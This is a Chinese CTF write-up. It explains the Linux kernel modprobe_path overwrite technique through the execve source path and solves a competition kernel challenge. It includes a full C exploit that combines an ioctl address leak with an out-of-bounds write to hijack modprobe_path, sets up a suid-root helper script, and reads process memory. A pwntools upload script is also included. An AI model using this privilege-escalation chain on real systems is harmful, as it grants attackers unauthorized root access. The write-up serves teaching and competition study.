今年的 ccb&ciscn 初赛有一道 Linux 内核的 Pwn 题,让我这个内核菜鸡被直接“硬控”了,现在初赛都上内核了。
赛后搞到了 WP,于是正好趁着元旦假期有时间好好复现一下,分析了一下这道题的利用技术的原理,于是就有了这篇文章。
modprobe_path覆盖利用技术是一种 Linux 内核漏洞利用方法,它可以让攻击者以 root 权限运行任意 shell 脚本。
modprobe_path覆盖利用技术的关键是覆盖掉modprobe_path内核全局变量,它的默认值为/sbin/modprobe程序的路径,modprobe是一个用于向 Linux 内核添加可加载内核模块,或从内核中移除可加载内核模块的工具。本质上它是一个用户态程序,当我们在 Linux 内核中安装或卸载新模块时会被执行。
我们可以通过运行以下命令检查:
❯ cat /proc/sys/kernel/modprobe
/sbin/modprobe
modprobe_path变量中的程序,会在我们执行一个系统无法识别文件类型的非法格式文件(无效魔数)时被调用。简单说一般我们执行 shell 文件时文件签名是#!/bin/bash,这是合法的文件格式,系统可以识别。而我们执行一个文件签名为\xff\xff\xff\xff的文件时内核会进行一系列操作,最终触发并以 root 权限执行modprobe_path变量中的程序。
因此如果我们将modprobe_path变量覆盖修改为想要执行的程序,然后再执行一个非法格式文件就可以以 root 权限执行我们想要执行的目标程序。
但是如果内核开启了CONFIG_STATIC_USERMODEHELPER内核配置选项,那么会将内核执行用户态 helper 的路径从运行时可变的全局变量改为编译期固定的常量,这样我们就无法对modprobe_path进行覆盖修改。
总结一下modprobe_path覆盖利用技术需要满足以下条件:
-
能够任意地址写,可以覆盖 modprobe_path变量; -
可以写两个任意文件: -
一个具有非法格式的文件,例如 \xff\xff\xff\xff; -
另一个是一个 shell 脚本,用于执行想要以 root 权限完成的操作;
-
-
能够执行非法格式文件; -
内核没有启用 CONFIG_STATIC_USERMODEHELPER选项。
基本上,在大多数的 kernel pwn 题目中,条件 2 和条件 3 都是直接满足的,因此最关键的问题在于是否具备任意地址写的能力以及内核是否开启了CONFIG_STATIC_USERMODEHELPER选项。
询问了一下 GPT 给了一个检查内核是否开启CONFIG_STATIC_USERMODEHELPER选项的方法:
#修改modprobe
echo /tmp/test > /proc/sys/kernel/modprobe
#检查是否修改成功
cat /proc/sys/kernel/modprobe
如果修改成功则CONFIG_STATIC_USERMODEHELPER选项未开启,不成功则开启。
接下来我们通过分析 Linux 内核的源代码,详细了解覆盖modprobe_path利用技术的原理。
当我们在 Linux Shell 中执行命令时(例如bash中执行ls),本质上会由 Shell 程序内部调用execve系统调用来加载并执行对应的程序。
execve
execve系统调用会设置可执行文件路径、命令行参数数组以及环境变量数组等信息,然后调用do_execve,它才是真正负责执行程序加载的核心函数。
SYSCALL_DEFINE3(execve,
constchar __user *, filename, // 参数1:可执行文件路径
constchar __user *const __user *, argv, // 参数2:命令行参数数组
constchar __user *const __user *, envp) // 参数3:环境变量数组
{
return do_execve(getname(filename), argv, envp); //getname从用户态读取filename
}
do_execve
do_execve函数会对传入的可执行文件路径、参数数组和环境变量数组进行封装与处理,然后将执行流程统一转交给do_execveat_common,由后者完成后续的程序加载与执行逻辑。
staticintdo_execve(struct filename *filename,
constchar __user *const __user *__argv,
constchar __user *const __user *__envp){
struct user_arg_ptr argv = { .ptr.native = __argv };
struct user_arg_ptr envp = { .ptr.native = __envp };
// AT_FDCWD为当前工作目录
return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);
}
do_execveat_common
do_execveat_common负责构建并填充linux_binprm,完成命令行参数和环境变量的准备工作。
linux_binprm是 Linux 内核中 描述一个即将被execve执行的可执行文件及其执行上下文的核心数据结构,是execve执行流程中的“载体”,保存了程序加载所需的全部信息。
do_execveat_common最终会调用bprm_execve,进入真正的二进制加载流程。bprm_execve是execve执行路径中最关键的通用入口函数。
static int do_execveat_common(int fd, struct filename *filename,
struct user_arg_ptr argv,
struct user_arg_ptr envp,
int flags)
{
struct linux_binprm *bprm; //描述
int retval;
if (IS_ERR(filename))
return PTR_ERR(filename);
if ((current->flags & PF_NPROC_EXCEEDED) && //防止进程数超限仍不断 exec
is_rlimit_overlimit(current_ucounts(), UCOUNT_RLIMIT_NPROC, rlimit(RLIMIT_NPROC))) {
retval = -EAGAIN;
goto out_ret;
}
current->flags &= ~PF_NPROC_EXCEEDED;
bprm = alloc_bprm(fd, filename, flags);
if (IS_ERR(bprm)) {
retval = PTR_ERR(bprm);
goto out_ret;
}
retval = count(argv, MAX_ARG_STRINGS);
if (retval == 0)
pr_warn_once("process '%s' launched '%s' with NULL argv: empty string added\n",
current->comm, bprm->filename);
if (retval < 0)
goto out_free;
bprm->argc = retval;
retval = count(envp, MAX_ARG_STRINGS);
if (retval < 0)
goto out_free;
bprm->envc = retval;
retval = bprm_stack_limits(bprm);
if (retval < 0)
goto out_free;
retval = copy_string_kernel(bprm->filename, bprm);
if (retval < 0)
goto out_free;
bprm->exec = bprm->p;
retval = copy_strings(bprm->envc, envp, bprm);
if (retval < 0)
goto out_free;
retval = copy_strings(bprm->argc, argv, bprm);
if (retval < 0)
goto out_free;
if (bprm->argc == 0) {
retval = copy_string_kernel("", bprm);
if (retval < 0)
goto out_free;
bprm->argc = 1;
}
retval = bprm_execve(bprm); //进入真正的执行阶段
out_free:
free_bprm(bprm);
out_ret:
putname(filename);
return retval;
}
bprm_execve
bprm_execve函数会先对被加载程序的信息准备凭证与安全检查,最后调用exec_binprm函数加载可执行文件。
static int bprm_execve(struct linux_binprm *bprm)
{
int retval;
retval = prepare_bprm_creds(bprm); //准备执行凭据
if (retval)
return retval;
check_unsafe_exec(bprm);
current->in_execve = 1; //执行状态标记,表示当前进程正处于 execve 中
sched_mm_cid_before_execve(current); //检查是否允许执行,是否运行提权
sched_exec();
retval = security_bprm_creds_for_exec(bprm);
if (retval)
goto out;
retval = exec_binprm(bprm); //进入二进制加载核心
if (retval < 0)
goto out;
sched_mm_cid_after_execve(current);
current->in_execve = 0;
rseq_execve(current);
user_events_execve(current);
acct_update_integrals(current);
task_numa_free(current, false);
return retval;
out:
if (bprm->point_of_no_return && !fatal_signal_pending(current))
force_fatal_sig(SIGSEGV);
sched_mm_cid_after_execve(current);
current->in_execve = 0;
return retval;
}
exec_binprm
exec_binprm函数负责在执行过程中选择并执行合适的二进制格式处理器,通过循环解析解释器链,最终完成可执行文件的确定并触发执行成功事件通知。
其中最重要的逻辑就是解析选择合适的二进制格式处理器部分,因此我们接下来需要跟进search_binary_handler函数分析。
static int exec_binprm(struct linux_binprm *bprm)
{
pid_t old_pid, old_vpid;
int ret, depth;
old_pid = current->pid; //保存执行前的 PID 信息
rcu_read_lock();
old_vpid = task_pid_nr_ns(current, task_active_pid_ns(current->parent));
rcu_read_unlock();
//解析主循环
for (depth = 0;; depth++) {
struct file *exec;
if (depth > 5)
return -ELOOP;
ret = search_binary_handler(bprm); //根据文件内容选择合适的处理器
if (ret < 0)
return ret;
if (!bprm->interpreter)
break;
exec = bprm->file; // 解释器替换,下一轮执行的主角从原文件变成解释器本身
bprm->file = bprm->interpreter;
bprm->interpreter = NULL;
allow_write_access(exec);
if (unlikely(bprm->have_execfd)) {
if (bprm->executable) {
fput(exec);
return -ENOEXEC;
}
bprm->executable = exec;
} else
fput(exec);
}
//执行成功后的系统通知
audit_bprm(bprm);
trace_sched_process_exec(current, old_pid, bprm);
ptrace_event(PTRACE_EVENT_EXEC, old_vpid);
proc_exec_connector(current);
return 0;
}
search_binary_handler
search_binary_handler函数会在formats链表中寻找合适的文件加载器。formats是一个包含所有已注册的可执行格式文件解析器。
static int search_binary_handler(struct linux_binprm *bprm)
{
bool need_retry = IS_ENABLED(CONFIG_MODULES);
struct linux_binfmt *fmt;
int retval;
retval = prepare_binprm(bprm); //读取文件前 128 字节
if (retval < 0)
return retval;
retval = security_bprm_check(bprm); //安全检查
if (retval)
return retval;
retval = -ENOENT;
retry:
read_lock(&binfmt_lock);
// 解析器匹配循环
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);
retval = fmt->load_binary(bprm); //检查文件魔数,判断文件格式
read_lock(&binfmt_lock);
put_binfmt(fmt);
if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
read_unlock(&binfmt_lock);
return retval;
}
}
read_unlock(&binfmt_lock);
//没有找到解析器
if (need_retry) {
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3]))
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
need_retry = false;
goto retry;
}
return retval;
}
常见的解析器:
elf_format: ELF 可执行程序;compat_elf_format:兼容 ELF(与 ELF 基本相同);script_format:#!开头的脚本;misc_format:其他格式,由内核模块注册。
每种解析器包含一个关键字段load_binary,其中包含着对应格式的加载函数。
检查文件魔数,匹配解析器:
retval = fmt->load_binary(bprm); //检查文件魔数,判断文件格式
例如 ELF 格式:
//检查是否为 ELF 魔数 \x7FELF
if (memcmp(elf_ex->e_ident, ELFMAG, SELFMAG) != 0)
goto out;
如果成功匹配到解析器,内核将调用该格式对应格式的加载函数完成可执行文件的加载(如 ELF 文件或 shell 文件)。
如果没有匹配到解析器,且文件的前 4 字节不可打印(非 ASCII),内核会进入一个兜底处理流程。在在该流程中,内核会根据可执行文件头部的魔数值,动态请求加载对应的 binfmt 内核模块。具体做法是从文件头的第 3、4 字节读取一个 16 位数值,并将其格式化为模块名binfmt-xxxx,随后调用request_module触发模块加载:
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
request_module
request_module其实是一个宏,真正执行的是__request_module函数:
#definerequest_module(mod...) __request_module(true, mod)
__request_module函数最终会调用call_modprobe函数。
int __request_module(bool wait, const char *fmt, ...)
{
va_list args;
char module_name[MODULE_NAME_LEN];
int ret, dup_ret;
WARN_ON_ONCE(wait && current_is_async());
if (!modprobe_path[0])
return -ENOENT;
va_start(args, fmt);
ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
va_end(args);
if (ret >= MODULE_NAME_LEN)
return -ENAMETOOLONG;
ret = security_kernel_module_request(module_name);
if (ret)
return ret;
ret = down_timeout(&kmod_concurrent_max, MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);
if (ret) {
pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",
module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);
return ret;
}
trace_module_request(module_name, wait, _RET_IP_);
if (kmod_dup_request_exists_wait(module_name, wait, &dup_ret)) {
ret = dup_ret;
goto out;
}
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
out:
up(&kmod_concurrent_max);
return ret;
}
EXPORT_SYMBOL(__request_module);
call_modprobe
call_modprobe是内核模块自动加载路径中真正执行用户态程序的函数:
static int call_modprobe(char *orig_module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
char *module_name;
int ret;
char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;
module_name = kstrdup(orig_module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);
kmod_dup_request_announce(orig_module_name, ret);
return ret;
free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
kmod_dup_request_announce(orig_module_name, -ENOMEM);
return -ENOMEM;
}
这部分代码的关键点:通过call_usermodehelper_setup封装好execve需要的所有信息,然后调用call_usermodehelper_exec函数以 root 权限执行modprobe_path的值。
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);
默认的modprobe_path值是:
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;
CONFIG_MODPROBE_PATH来自内核配置,默认为/sbin/modprobe。
所以如果我们修改了modprobe_path的值,并执行一个非法格式文件后就会执行modprobe_path的值。
-
首先通过任意地址写将 modprobe_path的值覆盖为你的 shell 脚本; -
然后构造一个非法格式的文件(如 \xff\xff\xff\xff); -
执行它后内核会因为无法识别格式从而调用 request_module函数; -
然后 request_module调用call_modprobe函数执行modprobe_path的值; -
这时 modprobe_path的值因为被覆盖为你的 shell 脚本,所以会以 root 权限执行它。
前面已经说过启用CONFIG_STATIC_USERMODEHELPER选项就会导致modprobe_path覆盖利用技术失效,这里结合代码分析一下原因。
在call_usermodehelper_setup中,如果CONFIG_STATIC_USERMODEHELPER配置选项启用,那么就会执行以下代码:
#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
此时内核会强制使用静态、编译时写死的路径,而忽略modprobe_path,从而使得modprobe_path覆盖技术失效。
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/usermode-helper"
下载题目:https://pan.baidu.com/s/1by2RA-cR4w6TA1SOai2tsA?pwd=cv5d
题目分析
题目提供了三个文件:
bzImage:内核镜像rootfs.cpio:文件系统start.sh:启动脚本
首先分析启动脚本:
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off" \
-cpu qemu64,+smep,+smap \
-smp cores=2,threads=1 \
-nographic
保护机制:
+smep:禁止内核执行用户态代码;+smap:禁止内核访问用户态数据;rodata=off:只读数据保护关闭。
只读数据保护关闭会导致.rodata段可写,这样的话即使modprobe_path是常量,也能被覆盖。这样就直接绕过了CONFIG_STATIC_USERMODEHELPER的防护。
然后解压rootfs.cpio分析文件系统:
mkdir rootfs
cd rootfs
cpio -idvm < ../rootfs.cpio
在init启动脚本中发现内核加载了babydev.ko内核模块,并在后台运行eatFlag程序。
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "[*] Welcome to Kernel PWN Environment"
echo "[*] Starting shell..."
insmod /home/babydev.ko
chmod 777 /dev/noc /tmp
cp /proc/kallsyms /tmp/coresysms.txt
/home/eatFlag &
exec /bin/sh
# exec su -s /bin/sh ctf
ida 逆向分析eatFlag程序发现它会在程序启动时读取/flag的内容并存放在堆内存中,然后删除该文件。所以我们只能从eatflag程序的堆内存中读取到 flag。
flag指针是固定地址,很明显程序是没有开启 PIE 的,所以可以从flag指针读取 flag 的值。
接着 ida 逆向分析babydev.ko模块,查看函数表的函数,其中__pfx_开头的是内核在符号层面生成的前缀符号。
接下来首先分析init_module函数,它是内核模块加载入口。
-
分析 init_module函数
init_module函数初始化了一个名为noc的字符设备,创建了/dev/noc供用户态交互,并分配了一个约 64KB 的全局内核堆缓冲区global_buf。
-
分析 dev_ioctl函数
发现内核地址泄露漏洞:
由于dest变量在站的布局之后就是v11变量。所以copy_to_user复制 40 字节的数据到用户态会将v11的值也给复制到用户态。
我们可以通过访问这个ioctl接口获取到泄露的数据。
-
分析 dev_open函数
dev_open在设备首次打开时分配一块内核堆内存,记录当前进程的 PID 和进程名,并将该堆指针保存到file->private_data,同时通过全局标志限制设备只能被单次打开。
-
分析 dev_write函数
函数中的v4变量是当前文件偏移,v6变量是实际写入长度。
当v4 + a3 > 0x10000时,驱动试图通过v6 = -*a4截断写入长度,但由于v6为无符号整型,该赋值触发了 signed 到 unsigned 的隐式转换,导致v6变成一个极大的正数。
随后该长度被直接用于copy_from_user,且写入地址由global_buf + data_start + f_pos计算,在缺乏完整边界检查的情况下,最终形成可控偏移、可控长度的内核堆越界写漏洞。
-
分析 dev_read函数
dev_read根据file->f_pos从global_buf的有效数据区向用户态拷贝数据,并在读完后推进文件偏移,逻辑等价于一个简单的内存文件读取实现。
-
分析 dev_seek函数
该函数实现了设备的lseek操作(偏移定位),根据a3参数的值选择模式。如果a3为 1 则新位置为当前文件指针加上a2偏移参数。如果a3为 2 则新位置为文件末尾加上偏移。如果a3参数为 3,则新位置等于偏移。
通过这个函数我们可以控制文件偏移配合dev_write函数进行越界写利用。
-
分析 dev_release函数
在关闭设备文件时原子递减打开计数并释放filp->private_data。
-
分析 cleanup_module函数
cleanup_module在模块卸载时释放init_module中申请的内核资源。
利用思路
modprobe_path覆写:
-
通过 ioctl泄露的内核地址
typedef struct {
uint32_t proc_id;
char proc_name[16];
uint32_t mem_free;
uint32_t mem_used;
uint64_t mem_ptr;
} leak_data_t;
// 打开漏洞设备
int dev_fd = open("/dev/noc", O_RDWR);
if (dev_fd < 0) return 1;
// 通过ioctl泄露内核信息
leak_data_t leak = {0};
ioctl(dev_fd, 0x83170405, &leak);
uint64_t kern_buf = leak.mem_ptr;
-
从 /proc/kallsyms获取modprobe_path地址
staticuint64_tget_kernel_sym(constchar *name) {
FILE *fp = fopen("/tmp/coresysms.txt", "r"); //临时文件
if (!fp) fp = fopen("/proc/kallsyms", "r"); //内核符号表路径
if (!fp) return 0;
char row[512], sym_name[256], sym_type;
unsignedlonglong sym_addr;
while (fgets(row, sizeof(row), fp)) {
// 解析符号表格式:地址 类型 符号名
if (sscanf(row, "%llx %c %255s", &sym_addr, &sym_type, sym_name) == 3) {
if (!strcmp(sym_name, name)) { // 找到目标符号
fclose(fp);
return (uint64_t)sym_addr;
}
}
}
fclose(fp);
return 0;
}
// 获取内核符号 modprobe_path 地址函数
uint64_t target_sym = get_kernel_sym("modprobe_path");
-
计算 modprobe_path与kbase的偏移
// 分配填充数据
char *padding = malloc(0x10000);
memset(padding, 'A', 0x10000);
// 写入大量数据填充缓冲区
write(dev_fd, padding, 0x10000);
lseek(dev_fd, 0, SEEK_SET); // 重置文件偏移
write(dev_fd, padding, 0x20); // 再次写入部分数据
free(padding);
uint64_t offset = target_sym - kern_buf; // 计算目标符号相对于内核缓冲区的偏移
// 拆分偏移:高56位作为基地址,低8位作为相对位置
uint64_t base_addr = offset & ~0xffULL; // 清除低8位
uint64_t rel_pos = offset & 0xffULL; // 只保留低8位
uint64_t end_addr = base_addr + 1; // 结束地址
-
利用任意地址写漏洞修改设备内部的 start/end指针
char *exploit_buf = calloc(1, 0xffff); // 构建利用缓冲区
for (int idx = 0; idx < 7; idx++) // 写入基地址
exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;
memcpy(exploit_buf + 7, &end_addr, 8); // 写入结束地址
-
覆写 modprobe_path为/tmp/s
lseek(dev_fd, 0x10001, SEEK_SET); // 定位到越界位置
write(dev_fd, exploit_buf, 0xffff); // 写入利用数据
free(exploit_buf);
char hijack_path[0x40] = {0};
strcpy(hijack_path, "/tmp/s"); // 要写入 modprobe_path 的路径
// 定位到 modprobe_path 位置并写入新路径
lseek(dev_fd, (off_t)rel_pos, SEEK_SET);
write(dev_fd, hijack_path, sizeof(hijack_path));
close(dev_fd);
-
创建恶意脚本 /tmp/s,将 exp 设置为 suid-root
staticvoidcreate_helper(constchar *path, constchar *script) {
int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777); // 创建可执行文件
write(fd, script, strlen(script));
close(fd);
chmod(path, 0777); // 设置执行权限
}
// 创建脚本/tmp/s,用于给当前程序设置 SUID 权限
create_helper("/tmp/s","#!/bin/sh\n","chown root:root /tmp/exp\n","chmod 4755 /tmp/exp\n");
-
执行非法格式文件触发 modprobe机制
// 触发modprobe执行函数
staticvoidexec_trigger(void) {
// 创建一个包含无效魔数的文件
int fd = open("/tmp/dummy", O_CREAT | O_TRUNC | O_WRONLY, 0777);
unsignedchar header[4] = {0xff, 0xff, 0xff, 0xff}; // 无效魔数
write(fd, header, 4);
close(fd);
chmod("/tmp/dummy", 0777);
system("/tmp/dummy"); // 执行触发文件
}
exec_trigger();
-
以 root 权限从 eatFlag进程内存读取 flag
// 搜索目标进程
staticintsearch_target_proc(void) {
DIR *dp = opendir("/proc"); // 打开/proc目录
if (!dp) return -1;
struct dirent *ent;
char link_path[128], real_path[256];
while ((ent = readdir(dp))) {
char *endp;
long proc_id = strtol(ent->d_name, &endp, 10); // 转换为进程ID
if (*endp) continue; // 如果不是数字目录则跳过
// 构建/proc/[pid]/exe符号链接路径
snprintf(link_path, sizeof(link_path), "/proc/%ld/exe", proc_id);
ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);
if (len > 0) {
real_path[len] = 0; // 确保字符串结束
// 检查是否是目标进程
if (!strcmp(real_path, "/home/eatFlag")) {
closedir(dp);
return (int)proc_id; // 返回目标进程ID
}
}
}
closedir(dp);
return -1; // 未找到目标进程
}
// 读取 flag 函数
staticvoidget_flag(void) {
int proc_id = search_target_proc(); // 查找目标进程
if (proc_id < 0) return;
// 打开目标进程的内存文件
char mem_file[64];
snprintf(mem_file, sizeof(mem_file), "/proc/%d/mem", proc_id);
int fd = open(mem_file, O_RDONLY);
if (fd < 0) return;
// 读取flag指针,固定偏移0x407148
uint64_t secret_ptr = 0;
pread(fd, &secret_ptr, 8, 0x407148);
// 通过指针读取flag数据
char secret_data[0x110] = {0};
pread(fd, secret_data, 0x100, (off_t)secret_ptr);
printf("[!] FLAG: %s\n", secret_data); //打印 flag
close(fd);
}
exp
-
完整的 exp:
#define _GNU_SOURCE
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <dirent.h>
typedef struct {
uint32_t proc_id;
char proc_name[16];
uint32_t mem_free;
uint32_t mem_used;
uint64_t mem_ptr;
} leak_data_t;
staticuint64_tget_kernel_sym(constchar *name) {
FILE *fp = fopen("/tmp/coresysms.txt", "r");
if (!fp) fp = fopen("/proc/kallsyms", "r");
if (!fp) return 0;
char row[512], sym_name[256], sym_type;
unsignedlonglong sym_addr;
while (fgets(row, sizeof(row), fp)) {
if (sscanf(row, "%llx %c %255s", &sym_addr, &sym_type, sym_name) == 3) {
if (!strcmp(sym_name, name)) {
fclose(fp);
return (uint64_t)sym_addr;
}
}
}
fclose(fp);
return 0;
}
staticintsearch_target_proc(void) {
DIR *dp = opendir("/proc");
if (!dp) return -1;
struct dirent *ent;
char link_path[128], real_path[256];
while ((ent = readdir(dp))) {
char *endp;
long proc_id = strtol(ent->d_name, &endp, 10);
if (*endp) continue;
snprintf(link_path, sizeof(link_path), "/proc/%ld/exe", proc_id);
ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);
if (len > 0) {
real_path[len] = 0;
if (!strcmp(real_path, "/home/eatFlag")) {
closedir(dp);
return (int)proc_id;
}
}
}
closedir(dp);
return -1;
}
staticvoidget_flag(void) {
int proc_id = search_target_proc();
if (proc_id < 0) return;
char mem_file[64];
snprintf(mem_file, sizeof(mem_file), "/proc/%d/mem", proc_id);
int fd = open(mem_file, O_RDONLY);
if (fd < 0) return;
uint64_t secret_ptr = 0;
pread(fd, &secret_ptr, 8, 0x407148);
char secret_data[0x110] = {0};
pread(fd, secret_data, 0x100, (off_t)secret_ptr);
printf("[!] FLAG: %s\n", secret_data);
close(fd);
}
staticvoidcreate_helper(constchar *path, constchar *script) {
int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, script, strlen(script));
close(fd);
chmod(path, 0777);
}
staticvoidexec_trigger(void) {
int fd = open("/tmp/dummy", O_CREAT | O_TRUNC | O_WRONLY, 0777);
unsignedchar header[4] = {0xff, 0xff, 0xff, 0xff};
write(fd, header, 4);
close(fd);
chmod("/tmp/dummy", 0777);
system("/tmp/dummy");
}
intmain(void) {
if (geteuid() == 0) {
get_flag();
return 0;
}
uint64_t target_sym = get_kernel_sym("modprobe_path");
int dev_fd = open("/dev/noc", O_RDWR);
if (dev_fd < 0) return 1;
leak_data_t leak = {0};
ioctl(dev_fd, 0x83170405, &leak);
uint64_t kern_buf = leak.mem_ptr;
char *padding = malloc(0x10000);
memset(padding, 'A', 0x10000);
write(dev_fd, padding, 0x10000);
lseek(dev_fd, 0, SEEK_SET);
write(dev_fd, padding, 0x20);
free(padding);
uint64_t offset = target_sym - kern_buf;
uint64_t base_addr = offset & ~0xffULL;
uint64_t rel_pos = offset & 0xffULL;
uint64_t end_addr = base_addr + 1;
char *exploit_buf = calloc(1, 0xffff);
for (int idx = 0; idx < 7; idx++)
exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;
memcpy(exploit_buf + 7, &end_addr, 8);
lseek(dev_fd, 0x10001, SEEK_SET);
write(dev_fd, exploit_buf, 0xffff);
free(exploit_buf);
char hijack_path[0x40] = {0};
strcpy(hijack_path, "/tmp/s");
lseek(dev_fd, (off_t)rel_pos, SEEK_SET);
write(dev_fd, hijack_path, sizeof(hijack_path));
close(dev_fd);
create_helper(
"/tmp/s",
"#!/bin/sh\n"
"chown root:root /tmp/exp\n"
"chmod 4755 /tmp/exp\n"
);
exec_trigger();
execl("/tmp/exp", "exp", NULL);
return 0;
}
-
编译:
#使用musl-gcc并剥离符号减少程序体积
musl-gcc -o exp exp.c -static -Os
strip exp
-
利用:
将exp放入文件系统并重打包。
mv exp ./rootfs
cd ./rootfs
find . -print0 | cpio --null -ov --format=newc > ../exp.cpio
然后修改启动脚本加载的文件系统为exp.cpio:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./exp.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off " \
-cpu qemu64,+smep,+smap \
-smp cores=2,threads=1 \
-nographic \
-snapshot
执行exp然后成功拿到 flag:
最后附上一个打远程的脚本:
#!/usr/bin/env python3
from pwn import *
import base64, gzip
with open("./exp", 'rb') as f:
binary_data = f.read()
compressed = gzip.compress(binary_data)
b64_data = base64.b64encode(compressed).decode('ascii')
lines = [b64_data[i:i+76] for i in range(0, len(b64_data), 76)]
io = remote("39.106.73.70", 30087)
io.recvuntil(b'/ $')
io.sendline(b'cat > /tmp/exp.gz.b64 << "EOF"')
for line in lines:
io.sendline(line.encode())
io.sendline(b'EOF')
io.recvuntil(b'/ $')
io.sendline(b'base64 -d /tmp/exp.gz.b64 | gunzip > /tmp/exp')
io.recvuntil(b'/ $')
io.sendline(b'chmod +x /tmp/exp')
io.recvuntil(b'/ $')
io.sendline(b'/tmp/exp')
output = io.recvall(timeout=20).decode(errors='ignore')
print(output)
由于这个补丁https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fa1bdca98d74472dcdb79cb948b54f63b5886c04 被合并到上游内核,导致覆盖modprobe_path这个利用方法在新版本内核中作废了。
参考
Linux 内核利用技术:覆盖modprobe_path – Midas 的博客
https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/#the-overwriting-modprobe_path-technique
复兴modprobe_path技术:克服search_binary_handler()补丁 – Theori BLOG
https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch
想了解更多干货,可通过下方扫码关注

可扫码添加上智启元官方客服微信👇

17认证网








